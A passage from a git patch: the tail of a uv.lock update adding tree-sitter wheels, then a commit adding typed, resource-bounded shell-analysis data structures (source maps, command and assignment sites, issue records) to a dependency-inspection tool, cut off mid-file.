"sha256:dd12d80d91d4114ca097626eb82714618dcdfacd6a5e0955216c6485c350ef99", size = 607125, upload-time = "2025-09-25T17:37:37.725Z" }, + { url = "https://files.pythonhosted.org/packages/39/d1/b95f545e9fc5001b8a78636ef942a4e4e536580caa6a99e73dd0a02e87aa/tree_sitter-0.25.2-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:b43a9e4c89d4d0839de27cd4d6902d33396de700e9ff4c5ab7631f277a85ead9", size = 635418, upload-time = "2025-09-25T17:37:38.922Z" }, + { url = "https://files.pythonhosted.org/packages/de/4d/b734bde3fb6f3513a010fa91f1f2875442cdc0382d6a949005cd84563d8f/tree_sitter-0.25.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:fbb1706407c0e451c4f8cc016fec27d72d4b211fdd3173320b1ada7a6c74c3ac", size = 631250, upload-time = "2025-09-25T17:37:40.039Z" }, + { url = "https://files.pythonhosted.org/packages/46/f2/5f654994f36d10c64d50a192239599fcae46677491c8dd53e7579c35a3e3/tree_sitter-0.25.2-cp312-cp312-win_amd64.whl", hash = "sha256:6d0302550bbe4620a5dc7649517c4409d74ef18558276ce758419cf09e578897", size = 127156, upload-time = "2025-09-25T17:37:41.132Z" }, + { url = "https://files.pythonhosted.org/packages/67/23/148c468d410efcf0a9535272d81c258d840c27b34781d625f1f627e2e27d/tree_sitter-0.25.2-cp312-cp312-win_arm64.whl", hash = "sha256:0c8b6682cac77e37cfe5cf7ec388844957f48b7bd8d6321d0ca2d852994e10d5", size = 113984, upload-time = "2025-09-25T17:37:42.074Z" }, + { url = "https://files.pythonhosted.org/packages/8c/67/67492014ce32729b63d7ef318a19f9cfedd855d677de5773476caf771e96/tree_sitter-0.25.2-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:0628671f0de69bb279558ef6b640bcfc97864fe0026d840f872728a86cd6b6cd", size = 146926, upload-time = "2025-09-25T17:37:43.041Z" }, + { url = "https://files.pythonhosted.org/packages/4e/9c/a278b15e6b263e86c5e301c82a60923fa7c59d44f78d7a110a89a413e640/tree_sitter-0.25.2-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:f5ddcd3e291a749b62521f71fc953f66f5fd9743973fd6dd962b092773569601", size = 137712, upload-time = "2025-09-25T17:37:44.039Z" }, + { url = "https://files.pythonhosted.org/packages/54/9a/423bba15d2bf6473ba67846ba5244b988cd97a4b1ea2b146822162256794/tree_sitter-0.25.2-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:bd88fbb0f6c3a0f28f0a68d72df88e9755cf5215bae146f5a1bdc8362b772053", size = 607873, upload-time = "2025-09-25T17:37:45.477Z" }, + { url = "https://files.pythonhosted.org/packages/ed/4c/b430d2cb43f8badfb3a3fa9d6cd7c8247698187b5674008c9d67b2a90c8e/tree_sitter-0.25.2-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:b878e296e63661c8e124177cc3084b041ba3f5936b43076d57c487822426f614", size = 636313, upload-time = "2025-09-25T17:37:46.68Z" }, + { url = "https://files.pythonhosted.org/packages/9d/27/5f97098dbba807331d666a0997662e82d066e84b17d92efab575d283822f/tree_sitter-0.25.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:d77605e0d353ba3fe5627e5490f0fbfe44141bafa4478d88ef7954a61a848dae", size = 631370, upload-time = "2025-09-25T17:37:47.993Z" }, + { url = "https://files.pythonhosted.org/packages/d4/3c/87caaed663fabc35e18dc704cd0e9800a0ee2f22bd18b9cbe7c10799895d/tree_sitter-0.25.2-cp313-cp313-win_amd64.whl", hash = "sha256:463c032bd02052d934daa5f45d183e0521ceb783c2548501cf034b0beba92c9b", size = 127157, upload-time = "2025-09-25T17:37:48.967Z" }, + { url = "https://files.pythonhosted.org/packages/d5/23/f8467b408b7988aff4ea40946a4bd1a2c1a73d17156a9d039bbaff1e2ceb/tree_sitter-0.25.2-cp313-cp313-win_arm64.whl", hash = "sha256:b3f63a1796886249bd22c559a5944d64d05d43f2be72961624278eff0dcc5cb8", size = 113975, upload-time = "2025-09-25T17:37:49.922Z" }, + { url = "https://files.pythonhosted.org/packages/07/e3/d9526ba71dfbbe4eba5e51d89432b4b333a49a1e70712aa5590cd22fc74f/tree_sitter-0.25.2-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:65d3c931013ea798b502782acab986bbf47ba2c452610ab0776cf4a8ef150fc0", size = 146776, upload-time = "2025-09-25T17:37:50.898Z" }, + { url = "https://files.pythonhosted.org/packages/42/97/4bd4ad97f85a23011dd8a535534bb1035c4e0bac1234d58f438e15cff51f/tree_sitter-0.25.2-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:bda059af9d621918efb813b22fb06b3fe00c3e94079c6143fcb2c565eb44cb87", size = 137732, upload-time = "2025-09-25T17:37:51.877Z" }, + { url = "https://files.pythonhosted.org/packages/b6/19/1e968aa0b1b567988ed522f836498a6a9529a74aab15f09dd9ac1e41f505/tree_sitter-0.25.2-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:eac4e8e4c7060c75f395feec46421eb61212cb73998dbe004b7384724f3682ab", size = 609456, upload-time = "2025-09-25T17:37:52.925Z" }, + { url = "https://files.pythonhosted.org/packages/48/b6/cf08f4f20f4c9094006ef8828555484e842fc468827ad6e56011ab668dbd/tree_sitter-0.25.2-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:260586381b23be33b6191a07cea3d44ecbd6c01aa4c6b027a0439145fcbc3358", size = 636772, upload-time = "2025-09-25T17:37:54.647Z" }, + { url = "https://files.pythonhosted.org/packages/57/e2/d42d55bf56360987c32bc7b16adb06744e425670b823fb8a5786a1cea991/tree_sitter-0.25.2-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:7d2ee1acbacebe50ba0f85fff1bc05e65d877958f00880f49f9b2af38dce1af0", size = 631522, upload-time = "2025-09-25T17:37:55.833Z" }, + { url = "https://files.pythonhosted.org/packages/03/87/af9604ebe275a9345d88c3ace0cf2a1341aa3f8ef49dd9fc11662132df8a/tree_sitter-0.25.2-cp314-cp314-win_amd64.whl", hash = "sha256:4973b718fcadfb04e59e746abfbb0288694159c6aeecd2add59320c03368c721", size = 130864, upload-time = "2025-09-25T17:37:57.453Z" }, + { url = "https://files.pythonhosted.org/packages/a6/6e/e64621037357acb83d912276ffd30a859ef117f9c680f2e3cb955f47c680/tree_sitter-0.25.2-cp314-cp314-win_arm64.whl", hash = "sha256:b8d4429954a3beb3e844e2872610d2a4800ba4eb42bb1990c6a4b1949b18459f", size = 117470, upload-time = "2025-09-25T17:37:58.431Z" }, +] + +[[package]] +name = "tree-sitter-bash" +version = "0.25.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/8e/0e/f0108be910f1eef6499eabce517e79fe3b12057280ed398da67ce2426cba/tree_sitter_bash-0.25.1.tar.gz", hash = "sha256:bfc0bdaa77bc1e86e3c6652e5a6e140c40c0a16b84185c2b63ad7cd809b88f14", size = 419703, upload-time = "2025-12-02T17:01:08.849Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/30/8e/37e7364d9c9c58da89e05c510671d8c45818afd7b31c6939ab72f8dc6c04/tree_sitter_bash-0.25.1-cp310-abi3-macosx_10_9_x86_64.whl", hash = "sha256:0e6235f59e366d220dde7d830196bed597d01e853e44d8ccd1a82c5dd2500acf", size = 194160, upload-time = "2025-12-02T17:00:59.047Z" }, + { url = "https://files.pythonhosted.org/packages/23/bb/2d2cfbb1f89aaeb1ec892624f069d92d058d06bb66f16b9ec9fb5873ab60/tree_sitter_bash-0.25.1-cp310-abi3-macosx_11_0_arm64.whl", hash = "sha256:f4a34a6504c7c5b2a9b8c5c4065531dea19ca2c35026e706cf2eeeebe2c92512", size = 202659, upload-time = "2025-12-02T17:01:00.275Z" }, + { url = "https://files.pythonhosted.org/packages/25/f0/1bb25519be27460255d3899db677313cfa1e6306988fbf456a3d7e211bbb/tree_sitter_bash-0.25.1-cp310-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e76c4cfb20b076552406782b7f8c2a3946835993df0a44df006de54b7030c7dc", size = 230596, upload-time = "2025-12-02T17:01:01.759Z" }, + { url = "https://files.pythonhosted.org/packages/d7/22/9f70bc3d3b942ab9fc0f89c1dc9e087519a3a94f64ae6b7377aae3a7a0f0/tree_sitter_bash-0.25.1-cp310-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:3f484c4bb8796cde7a87ca351e6116f09653edac0eb3c6d238566359dd28b117", size = 231981, upload-time = "2025-12-02T17:01:02.859Z" }, + { url = "https://files.pythonhosted.org/packages/7a/c3/f1540e42cd41b323c6821e45e52e1aed6ed386209aad52db996f05703963/tree_sitter_bash-0.25.1-cp310-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:5e76af6df46d958c7f5b6d5884c9743218e3902a00ccb493ec92728b1084430b", size = 228364, upload-time = "2025-12-02T17:01:03.997Z" }, + { url = "https://files.pythonhosted.org/packages/f7/a0/c3050a6277dfcac8c480f514dc4fe49f3f65f0eac68b4702cbaca2584e85/tree_sitter_bash-0.25.1-cp310-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:a3332d71c7b7d5f78259b19d02d0ea111fcb82b72712ee4a93aaa5b226d3f0a8", size = 230074, upload-time = "2025-12-02T17:01:05.05Z" }, + { url = "https://files.pythonhosted.org/packages/71/0f/203fe6b27211387f4b9ba8c4a321567ca4ded2624dae6ccdbd2b6e940e17/tree_sitter_bash-0.25.1-cp310-abi3-win_amd64.whl", hash = "sha256:52a6802d9218f86278aa3e8b459c3abdad67eed0fde1f9f13aca5b6c634217a6", size = 195574, upload-time = "2025-12-02T17:01:06.412Z" }, + { url = "https://files.pythonhosted.org/packages/47/75/4ca1a9fabd8fb5aea78cea70f7837ce4dbf2afae115f62051e5fa99cba1c/tree_sitter_bash-0.25.1-cp310-abi3-win_arm64.whl", hash = "sha256:59115057ec2bae319e8082ff29559861045002964c3431ccb0fc92aa4bc9bccb", size = 191196, upload-time = "2025-12-02T17:01:07.486Z" }, +] + [[package]] name = "trove-classifiers" version = "2026.6.1.19" From 1a2edd0449ffbeb86a54038be1827ba3994417f3 Mon Sep 17 00:00:00 2001 From: Nir Paz Date: Mon, 24 Aug 2026 22:16:31 -0700 Subject: [PATCH 03/13] feat(sc10): add bounded shell analysis types Signed-off-by: Nir Paz --- src/skillspector/dependency_source_types.py | 758 +++++++++++++++++++- src/skillspector/shell_frontend.py | 486 ++++++++++++- tests/unit/test_dependency_source_types.py | 658 ++++++++++++++++- tests/unit/test_shell_frontend.py | 376 ++++++++++ 4 files changed, 2264 insertions(+), 14 deletions(-) diff --git a/src/skillspector/dependency_source_types.py b/src/skillspector/dependency_source_types.py index 6f7d81fe..3fb23e7a 100644 --- a/src/skillspector/dependency_source_types.py +++ b/src/skillspector/dependency_source_types.py @@ -5,9 +5,11 @@ from __future__ import annotations +from bisect import bisect_right from collections.abc import Iterable from dataclasses import dataclass, field from enum import StrEnum +from hashlib import blake2s from typing import Final from skillspector.inspection_ledger import ( @@ -27,6 +29,17 @@ MAX_DEPENDENCY_YAML_ALIASES: Final = 256 MAX_DEPENDENCY_CONFIG_DEPTH: Final = 64 MAX_DEPENDENCY_DESTINATION_CHARACTERS: Final = 16_384 +MAX_DEPENDENCY_SHELL_UNITS_PER_FILE: Final = 256 +MAX_DEPENDENCY_SHELL_PARSER_CALLS_PER_FILE: Final = 512 +DEPENDENCY_SHELL_PARSED_BYTE_REVISIT_FACTOR: Final = 2 +MAX_DEPENDENCY_SHELL_PARSED_BYTES: Final = 6_000_000 +DEPENDENCY_SHELL_CST_VISIT_FACTOR: Final = 12 +DEPENDENCY_SHELL_CST_VISIT_BASE: Final = 1_024 +MAX_DEPENDENCY_SHELL_NESTED_LITERAL_DEPTH: Final = 2 +MAX_DEPENDENCY_RETAINED_SHELL_IR: Final = 50_000 +MAX_DEPENDENCY_SOURCE_MAP_ENTRIES_PER_FILE: Final = 50_000 +MAX_DEPENDENCY_SHELL_VALUE_BYTES_PER_FILE: Final = 2_000_000 +MAX_DEPENDENCY_SHELL_LOCALIZED_ISSUES: Final = 10_000 class DestinationStatus(StrEnum): @@ -117,6 +130,16 @@ class DependencyWorkResource(StrEnum): PHYSICAL_BYTES = "physical_bytes" YAML_ALIASES = "yaml_aliases" DEPTH = "depth" + SHELL_UNITS = "shell_units" + SHELL_PARSER_CALLS = "shell_parser_calls" + SHELL_PARSED_REVISIT_BYTES = "shell_parsed_revisit_bytes" + SHELL_PARSED_BYTES = "shell_parsed_bytes" + SHELL_CST_VISITS = "shell_cst_visits" + SHELL_NESTED_DEPTH = "shell_nested_depth" + RETAINED_SHELL_IR = "retained_shell_ir" + SHELL_SOURCE_MAP_ENTRIES = "shell_source_map_entries" + SHELL_RETAINED_VALUE_BYTES = "shell_retained_value_bytes" + SHELL_LOCALIZED_ISSUES = "shell_localized_issues" class LedgerTruncationClaimStatus(StrEnum): @@ -127,6 +150,69 @@ class LedgerTruncationClaimStatus(StrEnum): NO_CAPACITY = "no_capacity" +class ShellTruncationClaimStatus(StrEnum): + """Outcome of claiming the scan's reserved localized shell-limit issue.""" + + CLAIMED = "claimed" + ALREADY_CLAIMED = "already_claimed" + NO_CAPACITY = "no_capacity" + + +class ShellDialect(StrEnum): + """Code-owned shell dialects accepted by the Bash grammar frontend.""" + + BASH = "bash" + SH = "sh" + DASH = "dash" + + +class ShellUnitKind(StrEnum): + """Code-owned origin shape for one independently parsed shell unit.""" + + STANDALONE = "standalone" + MARKDOWN_FENCE = "markdown_fence" + NESTED_LITERAL = "nested_literal" + GENERATED_CONFIG = "generated_config" + + +class SiteProvenance(StrEnum): + """Code-owned provenance attached to transient shell sites.""" + + FILE_SUFFIX = "file_suffix" + SHEBANG = "shebang" + EXECUTABLE_PATH = "executable_path" + MARKDOWN_FENCE = "markdown_fence" + NESTED_LITERAL = "nested_literal" + GENERATED_CONFIG = "generated_config" + + +class StaticValueState(StrEnum): + """Three-state conservative shell value classification.""" + + EXACT = "exact" + UNKNOWN = "unknown" + UNBOUND = "unbound" + + +class ShellIssueReason(StrEnum): + """Content-free reasons for localized shell-analysis incompleteness.""" + + SYNTAX_ERROR = "syntax_error" + UNSUPPORTED_SEMANTICS = "unsupported_semantics" + RUNTIME_LIMIT = "runtime_limit" + SHELL_PARSER_UNAVAILABLE = "shell_parser_unavailable" + RESOURCE_LIMIT = "resource_limit" + + +class ShellWorkOutcome(StrEnum): + """Terminal shell work status retained for later ledger integration.""" + + COMPLETED = "completed" + PARTIAL = "partial" + SKIPPED = "skipped" + FAILED = "failed" + + def _require_nonnegative_integer(value: object, name: str) -> int: if type(value) is not int or value < 0: raise ValueError(f"{name} must be a non-negative integer") @@ -158,6 +244,8 @@ class SourceSpan: end_byte: int start_line: int end_line: int + start_column: int | None = field(default=None, kw_only=True) + end_column: int | None = field(default=None, kw_only=True) def __post_init__(self) -> None: object.__setattr__(self, "path", _normalize_relative_posix_path(self.path)) @@ -169,6 +257,472 @@ def __post_init__(self) -> None: raise ValueError("byte range must be zero-based and half-open") if start_line < 1 or end_line < start_line: raise ValueError("line range must be positive and inclusive") + if (self.start_column is None) != (self.end_column is None): + raise ValueError("byte columns must be supplied as a pair") + if self.start_column is not None and self.end_column is not None: + start_column = _require_nonnegative_integer(self.start_column, "start_column") + end_column = _require_nonnegative_integer(self.end_column, "end_column") + if start_line == end_line and end_column < start_column: + raise ValueError("column range must be zero-based and half-open") + + +@dataclass(frozen=True, slots=True) +class SourceMapEntry: + """One affine child-byte to canonical physical-byte interval.""" + + child_start_byte: int + child_end_byte: int + physical_start_byte: int + physical_end_byte: int + + def __post_init__(self) -> None: + child_start = _require_nonnegative_integer(self.child_start_byte, "child_start_byte") + child_end = _require_nonnegative_integer(self.child_end_byte, "child_end_byte") + physical_start = _require_nonnegative_integer( + self.physical_start_byte, "physical_start_byte" + ) + physical_end = _require_nonnegative_integer(self.physical_end_byte, "physical_end_byte") + if child_end <= child_start or physical_end <= physical_start: + raise ValueError("source-map intervals must be non-empty and half-open") + if child_end - child_start != physical_end - physical_start: + raise ValueError("source-map entries must be affine") + + +@dataclass(frozen=True, slots=True) +class SourceMap: + """Compact ordered mapping from transient unit bytes to physical bytes.""" + + path: str + entries: tuple[SourceMapEntry, ...] + child_size_bytes: int + physical_size_bytes: int + physical_line_starts: tuple[int, ...] = field(repr=False) + _child_starts: tuple[int, ...] = field(init=False, repr=False, compare=False) + + def __post_init__(self) -> None: + object.__setattr__(self, "path", _normalize_relative_posix_path(self.path)) + entries = tuple(self.entries) + child_size = _require_nonnegative_integer(self.child_size_bytes, "child_size_bytes") + physical_size = _require_nonnegative_integer( + self.physical_size_bytes, "physical_size_bytes" + ) + if len(entries) > MAX_DEPENDENCY_SOURCE_MAP_ENTRIES_PER_FILE: + raise ValueError("source map exceeds the entry limit") + if not all(isinstance(entry, SourceMapEntry) for entry in entries): + raise ValueError("entries must contain SourceMapEntry values") + previous_child_end = -1 + previous_physical_end = -1 + for entry in entries: + if entry.child_end_byte > child_size or entry.physical_end_byte > physical_size: + raise ValueError("source-map interval exceeds a canonical byte domain") + if entry.child_start_byte < previous_child_end: + raise ValueError("source-map child intervals must be ordered and nonoverlapping") + if entry.physical_start_byte < previous_physical_end: + raise ValueError("source-map physical intervals must be ordered and nonoverlapping") + previous_child_end = entry.child_end_byte + previous_physical_end = entry.physical_end_byte + line_starts = tuple(self.physical_line_starts) + if not line_starts or line_starts[0] != 0: + raise ValueError("physical line starts must begin at byte zero") + if any(type(value) is not int or value < 0 for value in line_starts) or any( + right <= left for left, right in zip(line_starts, line_starts[1:], strict=False) + ): + raise ValueError("physical line starts must be strictly ordered byte offsets") + if line_starts[-1] > physical_size: + raise ValueError("physical line starts exceed canonical physical bytes") + object.__setattr__(self, "entries", entries) + object.__setattr__(self, "physical_line_starts", line_starts) + object.__setattr__( + self, + "_child_starts", + tuple(entry.child_start_byte for entry in entries), + ) + + def _physical_position(self, byte_offset: int) -> tuple[int, int]: + line_index = bisect_right(self.physical_line_starts, byte_offset) - 1 + return line_index + 1, byte_offset - self.physical_line_starts[line_index] + + def map_range(self, start_byte: int, end_byte: int) -> SourceSpan | None: + """Map one exact child range, returning None across any gap or discontinuity.""" + start = _require_nonnegative_integer(start_byte, "start_byte") + end = _require_nonnegative_integer(end_byte, "end_byte") + if end <= start: + return None + cursor = start + mapped_start: int | None = None + mapped_end: int | None = None + entry_index = max(0, bisect_right(self._child_starts, start) - 1) + while entry_index < len(self.entries): + entry = self.entries[entry_index] + if entry.child_end_byte <= cursor: + entry_index += 1 + continue + if entry.child_start_byte > cursor: + return None + segment_end = min(end, entry.child_end_byte) + physical_start = entry.physical_start_byte + (cursor - entry.child_start_byte) + physical_end = physical_start + (segment_end - cursor) + if mapped_end is not None and mapped_end != physical_start: + return None + if mapped_start is None: + mapped_start = physical_start + mapped_end = physical_end + cursor = segment_end + if cursor == end: + break + entry_index += 1 + if cursor != end or mapped_start is None or mapped_end is None: + return None + start_line, start_column = self._physical_position(mapped_start) + end_line_index = bisect_right(self.physical_line_starts, mapped_end - 1) - 1 + end_line = end_line_index + 1 + end_column = mapped_end - self.physical_line_starts[end_line_index] + return SourceSpan( + self.path, + mapped_start, + mapped_end, + start_line, + end_line, + start_column=start_column, + end_column=end_column, + ) + + def compose(self, parent: SourceMap) -> SourceMap: + """Compose child-to-parent and parent-to-physical intervals exactly.""" + if not isinstance(parent, SourceMap) or parent.path != self.path: + raise ValueError("source maps must share one canonical path") + if self.physical_size_bytes != parent.child_size_bytes: + raise ValueError("source-map intermediate byte domains must match") + composed: list[SourceMapEntry] = [] + parent_index = 0 + for entry in self.entries: + parent_cursor = entry.physical_start_byte + while parent_cursor < entry.physical_end_byte: + while ( + parent_index < len(parent.entries) + and parent.entries[parent_index].child_end_byte <= parent_cursor + ): + parent_index += 1 + if parent_index >= len(parent.entries): + raise ValueError("source-map composition encountered an unmapped range") + parent_entry = parent.entries[parent_index] + if parent_entry.child_start_byte > parent_cursor: + raise ValueError("source-map composition encountered an unmapped range") + parent_end = min(entry.physical_end_byte, parent_entry.child_end_byte) + length = parent_end - parent_cursor + child_start = entry.child_start_byte + (parent_cursor - entry.physical_start_byte) + physical_start = parent_entry.physical_start_byte + ( + parent_cursor - parent_entry.child_start_byte + ) + candidate = SourceMapEntry( + child_start, + child_start + length, + physical_start, + physical_start + length, + ) + if ( + composed + and composed[-1].child_end_byte == candidate.child_start_byte + and composed[-1].physical_end_byte == candidate.physical_start_byte + ): + previous = composed[-1] + composed[-1] = SourceMapEntry( + previous.child_start_byte, + candidate.child_end_byte, + previous.physical_start_byte, + candidate.physical_end_byte, + ) + else: + composed.append(candidate) + if len(composed) > MAX_DEPENDENCY_SOURCE_MAP_ENTRIES_PER_FILE: + raise ValueError("source-map composition exceeds the entry limit") + parent_cursor = parent_end + return SourceMap( + path=parent.path, + entries=tuple(composed), + child_size_bytes=self.child_size_bytes, + physical_size_bytes=parent.physical_size_bytes, + physical_line_starts=parent.physical_line_starts, + ) + + +def _require_shell_unit_id(value: object) -> str: + if ( + not isinstance(value, str) + or len(value) != 32 + or any(character not in "0123456789abcdef" for character in value) + ): + raise ValueError("unit_id must be an internally generated opaque identifier") + return value + + +@dataclass(frozen=True, slots=True) +class ShellUnit: + """Immutable unit-local canonical bytes plus physical origin metadata.""" + + dialect: ShellDialect + kind: ShellUnitKind + provenance: SiteProvenance + raw_bytes: bytes = field(repr=False) + origin_span: SourceSpan + source_map: SourceMap | None = None + unit_id: str = field(init=False) + + def __post_init__(self) -> None: + if not isinstance(self.dialect, ShellDialect): + raise ValueError("dialect must be a code-owned ShellDialect") + if not isinstance(self.kind, ShellUnitKind): + raise ValueError("kind must be a code-owned ShellUnitKind") + if not isinstance(self.provenance, SiteProvenance): + raise ValueError("provenance must be code-owned") + if type(self.raw_bytes) is not bytes: + raise ValueError("raw_bytes must be canonical immutable bytes") + if not isinstance(self.origin_span, SourceSpan): + raise ValueError("origin_span must be a SourceSpan") + if self.source_map is not None: + if not isinstance(self.source_map, SourceMap): + raise ValueError("source_map must be a SourceMap") + if self.source_map.path != self.origin_span.path: + raise ValueError("source_map and origin_span paths must match") + if self.source_map.child_size_bytes != len(self.raw_bytes): + raise ValueError("source_map child size must match unit bytes") + if self.source_map.physical_size_bytes < self.origin_span.end_byte: + raise ValueError("source_map physical size must cover the unit origin") + if self.source_map.entries and ( + self.source_map.entries[0].child_start_byte != 0 + or self.source_map.entries[-1].child_end_byte != len(self.raw_bytes) + ): + raise ValueError("source_map must cover the unit byte boundaries") + if any( + entry.physical_start_byte < self.origin_span.start_byte + or entry.physical_end_byte > self.origin_span.end_byte + for entry in self.source_map.entries + ): + raise ValueError("source_map intervals must stay inside the unit origin") + elif self.origin_span.end_byte - self.origin_span.start_byte != len(self.raw_bytes): + raise ValueError("an identity-mapped unit must match its physical byte span") + coordinate_key = ( + f"{self.origin_span.path}\0{self.origin_span.start_byte}\0" + f"{self.origin_span.end_byte}\0{self.kind.value}\0{self.provenance.value}" + ).encode() + object.__setattr__( + self, + "unit_id", + blake2s(coordinate_key, digest_size=16, person=b"SC10UNIT").hexdigest(), + ) + + +@dataclass(frozen=True, slots=True) +class StaticValue: + """Exact bytes or one of two content-free conservative states.""" + + state: StaticValueState + exact_bytes: bytes | None = field(default=None, repr=False) + + def __post_init__(self) -> None: + if not isinstance(self.state, StaticValueState): + raise ValueError("state must be code-owned") + if self.state is StaticValueState.EXACT: + if type(self.exact_bytes) is not bytes: + raise ValueError("exact values require immutable bytes") + elif self.exact_bytes is not None: + raise ValueError("unknown and unbound values cannot retain bytes") + + @classmethod + def exact(cls, value: bytes) -> StaticValue: + return cls(StaticValueState.EXACT, value) + + @classmethod + def unknown(cls) -> StaticValue: + return cls(StaticValueState.UNKNOWN) + + @classmethod + def unbound(cls) -> StaticValue: + return cls(StaticValueState.UNBOUND) + + +def _validate_site(unit_id: object, provenance: object, span: object) -> None: + _require_shell_unit_id(unit_id) + if not isinstance(provenance, SiteProvenance): + raise ValueError("provenance must be code-owned") + if not isinstance(span, SourceSpan): + raise ValueError("span must be a SourceSpan") + + +@dataclass(frozen=True, slots=True) +class CommandSite: + """Policy-free physical command descriptor consumed by later adapters.""" + + unit_id: str + provenance: SiteProvenance + span: SourceSpan + argv: tuple[StaticValue, ...] + + def __post_init__(self) -> None: + _validate_site(self.unit_id, self.provenance, self.span) + argv = tuple(self.argv) + if not argv or not all(isinstance(value, StaticValue) for value in argv): + raise ValueError("argv must contain at least one StaticValue") + object.__setattr__(self, "argv", argv) + + +@dataclass(frozen=True, slots=True) +class AssignmentSite: + """One bounded shell assignment with no environment evaluation.""" + + unit_id: str + provenance: SiteProvenance + span: SourceSpan + name: str = field(repr=False) + value: StaticValue = field(repr=False) + + def __post_init__(self) -> None: + _validate_site(self.unit_id, self.provenance, self.span) + if ( + not isinstance(self.name, str) + or not self.name + or not (self.name[0].isascii() and (self.name[0].isalpha() or self.name[0] == "_")) + or any( + not (character.isascii() and (character.isalnum() or character == "_")) + for character in self.name[1:] + ) + ): + raise ValueError("name must be a shell identifier") + if not isinstance(self.value, StaticValue): + raise ValueError("value must be a StaticValue") + + +@dataclass(frozen=True, slots=True) +class GeneratedConfig: + """Transient, policy-free generated configuration descriptor.""" + + unit_id: str + provenance: SiteProvenance + span: SourceSpan + target: StaticValue = field(repr=False) + content: StaticValue = field(repr=False) + source_map: SourceMap | None = field(default=None, repr=False) + + def __post_init__(self) -> None: + _validate_site(self.unit_id, self.provenance, self.span) + if not isinstance(self.target, StaticValue) or not isinstance(self.content, StaticValue): + raise ValueError("generated config values must be StaticValue values") + if self.source_map is not None and not isinstance(self.source_map, SourceMap): + raise ValueError("source_map must be a SourceMap") + + +@dataclass(frozen=True, slots=True) +class ShellIssue: + """Sanitized localized shell issue with terminal outcome metadata.""" + + reason: ShellIssueReason + outcome: ShellWorkOutcome + span: SourceSpan + unit_id: str | None = None + exhaustion: DependencyWorkExhaustion | None = None + + def __post_init__(self) -> None: + if not isinstance(self.reason, ShellIssueReason): + raise ValueError("reason must be a code-owned ShellIssueReason") + if not isinstance(self.outcome, ShellWorkOutcome): + raise ValueError("outcome must be a code-owned ShellWorkOutcome") + if not isinstance(self.span, SourceSpan): + raise ValueError("span must be a SourceSpan") + if self.unit_id is not None: + _require_shell_unit_id(self.unit_id) + if self.reason is ShellIssueReason.RESOURCE_LIMIT: + if not isinstance(self.exhaustion, DependencyWorkExhaustion): + raise ValueError("resource-limit issues require typed exhaustion") + elif self.exhaustion is not None: + raise ValueError("only resource-limit issues carry exhaustion") + if ( + self.reason is ShellIssueReason.RUNTIME_LIMIT + and self.outcome is not ShellWorkOutcome.PARTIAL + ): + raise ValueError("runtime limits are localized partial outcomes") + if ( + self.reason + in { + ShellIssueReason.SYNTAX_ERROR, + ShellIssueReason.UNSUPPORTED_SEMANTICS, + ShellIssueReason.RESOURCE_LIMIT, + } + and self.outcome is not ShellWorkOutcome.PARTIAL + ): + raise ValueError("localized shell issues are partial outcomes") + if self.reason is ShellIssueReason.SHELL_PARSER_UNAVAILABLE and self.outcome not in { + ShellWorkOutcome.PARTIAL, + ShellWorkOutcome.FAILED, + }: + raise ValueError("parser unavailability must be partial or failed") + + +@dataclass(frozen=True, slots=True) +class ShellWorkItem: + """Sanitized terminal shell work record safe for public analysis state.""" + + unit_id: str + dialect: ShellDialect + kind: ShellUnitKind + provenance: SiteProvenance + span: SourceSpan + outcome: ShellWorkOutcome + + def __post_init__(self) -> None: + _require_shell_unit_id(self.unit_id) + if not isinstance(self.dialect, ShellDialect): + raise ValueError("dialect must be code-owned") + if not isinstance(self.kind, ShellUnitKind): + raise ValueError("kind must be code-owned") + if not isinstance(self.provenance, SiteProvenance): + raise ValueError("provenance must be code-owned") + if not isinstance(self.span, SourceSpan): + raise ValueError("span must be a SourceSpan") + if not isinstance(self.outcome, ShellWorkOutcome): + raise ValueError("outcome must be code-owned") + + +@dataclass(frozen=True, slots=True) +class ShellExtractionResult: + """Transient bounded unit extraction plus sanitized localized issues.""" + + units: tuple[ShellUnit, ...] = () + issues: tuple[ShellIssue, ...] = () + + def __post_init__(self) -> None: + units = tuple(self.units) + issues = tuple(self.issues) + if not all(isinstance(unit, ShellUnit) for unit in units): + raise ValueError("units must contain ShellUnit values") + if not all(isinstance(issue, ShellIssue) for issue in issues): + raise ValueError("issues must contain ShellIssue values") + object.__setattr__(self, "units", units) + object.__setattr__(self, "issues", issues) + + +@dataclass(frozen=True, slots=True) +class ShellFrontendResult: + """Typed syntax-only frontend output; no manager policy or findings.""" + + commands: tuple[CommandSite, ...] = () + assignments: tuple[AssignmentSite, ...] = () + generated_configs: tuple[GeneratedConfig, ...] = () + issues: tuple[ShellIssue, ...] = () + work_items: tuple[ShellWorkItem, ...] = () + + def __post_init__(self) -> None: + normalized: tuple[tuple[str, type[object]], ...] = ( + ("commands", CommandSite), + ("assignments", AssignmentSite), + ("generated_configs", GeneratedConfig), + ("issues", ShellIssue), + ("work_items", ShellWorkItem), + ) + for name, value_type in normalized: + values = tuple(getattr(self, name)) + if not all(isinstance(value, value_type) for value in values): + raise ValueError(f"{name} contains an invalid value") + object.__setattr__(self, name, values) @dataclass(frozen=True, slots=True) @@ -322,6 +876,8 @@ class DependencySourceAnalysis: limitations: 